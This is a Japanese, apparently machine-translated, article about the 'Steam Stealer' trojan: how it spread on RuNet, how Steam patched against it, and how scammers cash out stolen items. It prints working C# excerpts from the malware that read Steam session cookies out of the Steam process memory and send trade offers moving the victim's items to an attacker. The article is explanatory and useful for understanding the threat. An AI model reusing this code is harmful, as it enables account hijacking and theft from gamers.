Steam上のアイテムを盗むSteam StealerまたはTrojan。 外観の歴史と仕事のスキーム

記事「The Steam Stealing Items from Steam Inventory」は、記事の執筆を促しました。

私の記事には以下が含まれます。

1)Runetでの外観と分布の履歴。

2)このマルウェアとの「スチーム」の闘争の歴史。

3)詐欺師はどのようにして利益を上げますか?

4)これらの詐欺に関連してインセンティブは何をしますか?

この記事には、入手/購入できる完全なソースコードやリンクがありません。 誰が気にします-猫へようこそ。



RuNetでの外観と配布のストーリー



このトロイの木馬の最初の作者が誰であるかは不明で、今年の初めにアメリカで最初の参考文献が登場しました。 RuNetでは、このトロイの木馬が出現し、夏の終わりまたは終わりにのみ積極的に拡散し始めました。



このプログラムとソースは、8月上旬に人気のある「不正」ポータルに登場しました。 2人の友人が、組み立てられカバーされたトロイの木馬を見つけ、C#で書かれており、かなり混乱しているが動作するソースコードを取り出すことに成功したことに気付きました。 次に、ビルダーを組み立ててポータルにアップロードしました。しばらくしてから、ビルダーを人間の形式とソースでアップロードして書き換えました。 この瞬間から、彼への言及はどこにでもありました。 非常に怠laで非アクティブなフォーラムでのみ、作業ソースのコピーではなく、既製の「ビルド」を販売する人を見つけることは不可能でした。



一般的な作業スキーム:



2つのSteamLoginおよびSteamLoginSecure Cookieは、Steamプロセスから定期的に破棄されます。



WinApis.SYSTEM_INFO sYSTEM_INFO = default(WinApis.SYSTEM_INFO); while (sYSTEM_INFO.minimumApplicationAddress.ToInt32() == 0) { WinApis.GetSystemInfo(out sYSTEM_INFO); } IntPtr minimumApplicationAddress = sYSTEM_INFO.minimumApplicationAddress; long num = (long)minimumApplicationAddress.ToInt32(); List<string> list = new List<string>(); Process[] array = array = Process.GetProcessesByName("steam"); Process process = null; for (int i = 0; i < array.Length; i++) { try { foreach (ProcessModule processModule in array[i].Modules) { if (processModule.FileName.EndsWith("steamclient.dll")) { process = array[i]; break; } } } catch { } } if (process != null) { IntPtr handle = WinApis.OpenProcess(1040u, false, process.Id); WinApis.PROCESS_QUERY_INFORMATION pROCESS_QUERY_INFORMATION = default(WinApis.PROCESS_QUERY_INFORMATION); IntPtr intPtr = new IntPtr(0); while (WinApis.VirtualQueryEx(handle, minimumApplicationAddress, out pROCESS_QUERY_INFORMATION, 28u) != 0) { if (pROCESS_QUERY_INFORMATION.Protect == 4u && pROCESS_QUERY_INFORMATION.State == 4096u) { byte[] array2 = new byte[pROCESS_QUERY_INFORMATION.RegionSize]; WinApis.ReadProcessMemory(handle, pROCESS_QUERY_INFORMATION.BaseAdress, array2, pROCESS_QUERY_INFORMATION.RegionSize, out intPtr); string @string = Encoding.UTF8.GetString(array2); MatchCollection matchCollection = new Regex("7656119[0-9]{10}%7c%7c[A-F0-9]{40}", RegexOptions.IgnoreCase).Matches(@string); if (matchCollection.Count > 0) { foreach (Match match in matchCollection) { if (!list.Contains(match.Value)) { list.Add(match.Value); } } } } num += (long)((ulong)pROCESS_QUERY_INFORMATION.RegionSize); if (num >= 2147483647L) { break; } minimumApplicationAddress = new IntPtr(num); } this.ParsedSteamCookies = list; } }
      
      





さらに、受信したデータはWebリクエストに置き換えられ、サーバーに送信され、セッションが取得され、承認されます。 その後、プログラムは理論的にはSteamクライアントのすべての機能に完全にアクセスできます。 アイテムのリストを取得して取引提案を送信する方法は、 以前の記事で説明しました(その記事で提供する送信コードは機能していません)。



蒸気の歴史はこのマルウェアと戦っています



8月以来、Steamはこのトロイの木馬との戦いをすでに2回試みています。 2番目のものは実際の戦いとはほとんど言えませんが、何らかの更新の副作用でした。



最初を修正します。 9月の初め


上で述べたように、2つのCookieはクライアントから解析されますが、そのうちの1つ(SteamLoginSecure)は申し出を送信するのに十分です(攻撃者と物事を交換するための申し出)。 Steamからの修正は、現在両方が必要だったことです。 ご存知のように、スタイラーの仕事の「問題」は、すべて同じ職人によって1日以内に発見されました。 数日後、新しい役者(私ではありません)が修正されたソースコードをパブリックドメインに投稿しました(ただし、彼は今、この行為をscっています)。



2番目を修正します。 11月17日


正直なところ、理由はわかりませんが、Steamはオファーを送信するリクエストに1つのパラメーターを追加することにしました。



 private string sentItems(string sessionID, string items, string[] Offer, string message = "") { return SteamHttp.SteamWebRequest(this.cookiesContainer, "tradeoffer/new/send", string.Concat(new string[] { "sessionid=", sessionID, "&partner=", Offer[0], "&serverid=1", "&tradeoffermessage=", Uri.EscapeDataString(message), "&json_tradeoffer=", Uri.EscapeDataString(string.Format("{5}\"newversion\":true,\"version\":2,\"me\":{5}\"assets\":[{3}],\"currency\":[],\"ready\":false{6},\"them\":{5}\"assets\":[],\"currency\":[],\"ready\":false{6}{6}", new object[] { sessionID, Offer[0], message, items, Offer[2], "{", "}" })), "&trade_offer_create_params=", Uri.EscapeDataString(string.Format("{0}\"trade_offer_access_token\":\"{2}\"{1}", "{", "}", Offer[2])) }), "tradeoffer/new/?partner=" + Offer[1] + "&token=" + Offer[2]); }
      
      





具体的には、パラメータ「serverid = 1」。 なぜ必要なのか、なぜ追加されたのか、Steamの開発者に尋ねる必要がありますが、使用できる他のリクエストは見つかりませんでした。



Steamからの「遅延」修正について説明するのは非常に簡単です。



詐欺師( およびSteam! )はどのようにして利益を上げますか?



詐欺師が取得するすべてのゲームの価値は、取引フロアで割引価格で販売されています。 ここで、Steamがトレーディングフロアでのすべての操作の5%を受け取ることを思い出してください。 そして、10%がゲームの開発者を獲得し、そのアイテムは販売されました。 Valveは、アイテムとSteamサービスを備えた最も人気のあるゲームの開発者であると考えると、修正によって急ぎ過ぎず、販売された各アイテムからさらに15%を受け取ることが非常に論理的です。



さらに、詐欺師はすでにさまざまな方法でSteamからお金を引き出しています。 これは直接行うことができないため、Steamサービス自体の値を使用して販売します。 たとえば、キーやゲーム(私が知る限り、1ドルあたり約50〜65セントを受け取ります)。



これらの詐欺でSteamは何をしていますか?



Steamがアカウントをロックする(または購入/販売/交換の操作をブロックする)には、最大7日間かかります。 この間、攻撃者はほとんどの場合、受け取ったアイテムを取り除き、アカウントから資金を引き出します。 アカウントがブロックされている場合、何も取り消すことはできません。 最大は、その上にあるゲームをプレイすることです。

「スチーム」では、盗まれたものがトレーディングフロアで販売されていなかった場合、返品する習慣があります。 しかし、ロシアのサポートには1か月かかりました。



画像



エピローグ



私は自分でそれをしませんでした。 すべての情報は、開発または配布に従事している人々から取得されます。 このソフトウェアの価格は非常に自由です:アカウントが縫われるプログラムのための500-1000r。 ソースコードは3.5kルーブル以上のものです-このソースが開発者から購入されたか、それを購入して現在再販している学生から購入されたかによって異なります。 現時点では、4人の異なる開発者について知っています。 しかし、それらの間で、彼らの製品は実質的に違いはありません。



そして最後に。 そのようなプログラムの定義による現時点での最高のアンチウイルスは、Avira、Kaspersky、Eset Nod32です。 ただし、常にではないが、トロイの木馬の新鮮でかなりまともな難読化/カバーバージョンを定義しています。 残りはかなりの時間反応します。 .Netアプリケーションの単純な難読化でさえ、ほとんどのアンチウイルスを混乱させます。



All Articles